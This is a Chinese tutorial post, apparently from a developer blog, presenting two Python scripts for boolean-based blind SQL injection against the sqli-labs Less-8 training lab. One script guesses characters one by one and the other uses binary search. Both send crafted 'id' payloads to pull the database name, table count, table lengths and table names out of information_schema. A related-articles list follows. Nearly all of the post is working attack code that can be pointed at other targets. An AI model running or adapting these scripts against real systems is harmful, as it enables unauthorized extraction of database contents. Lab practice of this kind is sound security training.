基于 sqli-labs-Pass08,利用Python 实现 SQL盲注(含二分法)

简介: 基于 sqli-labs-Pass08,利用Python 实现 SQL盲注(含二分法)

一、SQL盲注脚本(普通版):

import requests
url = "http://9fe5aba4-b55b-49d8-af3e-795e070d0b23.node5.buuoj.cn/Less-8/"
#获取数据库名称的长度:
payload_len = "?id=1' and length(database()) = {n} --+"
def getLength(url, payload):
    length = 1
    while True:
        response = requests.get(url = url + payload_len.format(n = length))
        if 'You are in...........' in response.text:
            print('数据库名称长度为:', length)
            return length
        else:
            print('正在测试长度:', length)
            length += 1
    
#获取数据库的名称:
payload_str = "?id=1' and ascii(substr(database(), {n}, 1)) = {r} --+"
def getStr(url, payload, length):
    str = '' #初始表名/库名为空
    #第一层循环,截取每一个字符
    for i in range(1, length + 1):
        #第二层循环,枚举取字符的每一种可能性
        for j in range(33, 126):
            response = requests.get(url = url + payload_str.format(n = i, r = j))
            #页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str += chr(j)
                print('第', i, '个字符猜解成功:', str)
                break
    return str
#获取数据库名称信息:
#length = getLength(url, payload_len)
#database_name = getStr(url, payload_str, length)
#获取数据库下表的数量:
table_count = 0
for i in range(1, 100):
    payload_table_count = "?id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = {n} --+"
    response = requests.get(url = url + payload_table_count.format(n = i))
    if 'You are in...........' in response.text:
        table_count = i
        break
    else:
        print('正在测试长度:', i)
print('数据库下表的数量为:', table_count)
#开始注出数据库下的表的信息:
#注出数据库下表的长度:
table_length = 0
for i in range(0, table_count):
    for j in range(1, 100):
        payload_table_length = "?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit {m},1))={n}--+"
        response = requests.get(url = url + payload_table_length.format(m=i, n=j))
        if 'You are in...........' in response.text:
            table_length = j
            break
        else:
            table_length += 1
            print("正在测试第", i + 1, "张表的长度,长度为:", table_length)
    print("第", i + 1, "张表的长度为:", table_length)
    #注出表名:
    table_name = ""
    for k in range(1, table_length + 1):
        for z in range(65, 127):
            payload_table_name = "?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit {p}, 1),{q},1)) = {r} --+"
            response = requests.get(url = url + payload_table_name.format(p=i, q=k, r=z))
            if 'You are in...........' in response.text:
                table_name += chr(z)
                print("第", i + 1, "张表的表名为:", table_name)
                break
        
    print("第", i + 1, "张表的表名为:", table_name)

二、SQL盲注脚本(二分法):

import requests
url = "http://9fe5aba4-b55b-49d8-af3e-795e070d0b23.node5.buuoj.cn/Less-8/"
#获取数据库名称的长度:
payload_len = "?id=1' and length(database()) = {n} --+"
def getLength(url, payload):
    length = 1
    while True:
        response = requests.get(url = url + payload_len.format(n = length))
        if 'You are in...........' in response.text:
            print('数据库名称长度为:', length)
            return length
        else:
            print('正在测试长度:', length)
            length += 1
    
#获取数据库的名称:
payload_str = "?id=1' and ascii(substr(database(), {n}, 1)) = {r} --+"
def getStr(url, payload, length):
    str = '' #初始表名/库名为空
    #第一层循环,截取每一个字符
    for i in range(1, length + 1):
        #第二层循环,枚举取字符的每一种可能性
        for j in range(33, 126):
            response = requests.get(url = url + payload_str.format(n = i, r = j))
            #页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str += chr(j)
                print('第', i, '个字符猜解成功:', str)
                break
    return str
#获取数据库名称信息:
#length = getLength(url, payload_len)
#database_name = getStr(url, payload_str, length)
#获取数据库下表的数量:
table_count = 0
for i in range(1, 100):
    payload_table_count = "?id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = {n} --+"
    response = requests.get(url = url + payload_table_count.format(n = i))
    if 'You are in...........' in response.text:
        table_count = i
        break
    else:
        print('正在测试长度:', i)
print('数据库下表的数量为:', table_count)
#开始注出数据库下的表的信息:
#注出数据库下表的长度:
table_length = 0
for i in range(0, table_count):
    for j in range(1, 100):
        payload_table_length = "?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit {m},1))={n}--+"
        response = requests.get(url = url + payload_table_length.format(m=i, n=j))
        if 'You are in...........' in response.text:
            table_length = j
            break
        else:
            print("正在测试第", i + 1, "张表的长度,长度为:", j)
    print("第", i + 1, "张表的长度为:", table_length)
    #注出表名:
    table_name = ""
    for k in range(1, table_length + 1):
        min = 33
        max = 126
        mid = (min + max) // 2     
        while min < max: 
            payload_table_name = "?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit {p}, 1),{q},1)) < {r} --+"
            response = requests.get(url = url + payload_table_name.format(p=i, q=k, r=mid))
            if 'You are in...........' in response.text:
                max = mid
            else:
                min = mid + 1
            mid = (min + max) // 2
        if mid <= 32 or mid >= 127:
            break
        table_name += chr(mid - 1)
        print("正在注出表名:", table_name)
    print("第", i + 1, "张表的表名为:", table_name)
相关文章
|
11天前
|
SQL XML 关系型数据库
【less-5】基于SQLI的SQL盲注常用函数
【less-5】基于SQLI的SQL盲注常用函数
22 2
|
24天前
|
Python
【Python 训练营】N_16 二分法查找
【Python 训练营】N_16 二分法查找
10 1
|
11天前
|
SQL Web App开发 安全
【Less-9】基于SQLI的SQL时间盲注
【Less-9】基于SQLI的SQL时间盲注
11 0
|
1月前
|
SQL 分布式计算 数据可视化
数据分享|Python、Spark SQL、MapReduce决策树、回归对车祸发生率影响因素可视化分析
数据分享|Python、Spark SQL、MapReduce决策树、回归对车祸发生率影响因素可视化分析
|
1月前
|
SQL API 数据库
在Python中获取筛选后的SQL数据行数
在Python中获取筛选后的SQL数据行数
29 1
|
1月前
|
SQL 数据库 数据库管理
python自动生成SQL语句自动化
python自动生成SQL语句自动化
60 1
|
1月前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
37 0
|
1月前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
115 0
|
1月前
|
SQL 安全 数据库
在Python Web开发过程中:安全性与编码规范,如何确保用户输入数据的安全性,避免SQL注入?
防止 SQL 注入的关键措施包括使用参数化查询、验证清理用户输入、预处理语句、避免动态 SQL、实施访问控制、保持安全编码习惯和定期审计。结合使用 WAF 和安全框架可增强防护。开发人员的安全意识同样重要。
31 2
|
1月前
|
SQL 关系型数据库 API
Star 4.7k!高效SQL Parser!纯Python开发!自称目前最快的纯Python SQL解析器!
Star 4.7k!高效SQL Parser!纯Python开发!自称目前最快的纯Python SQL解析器!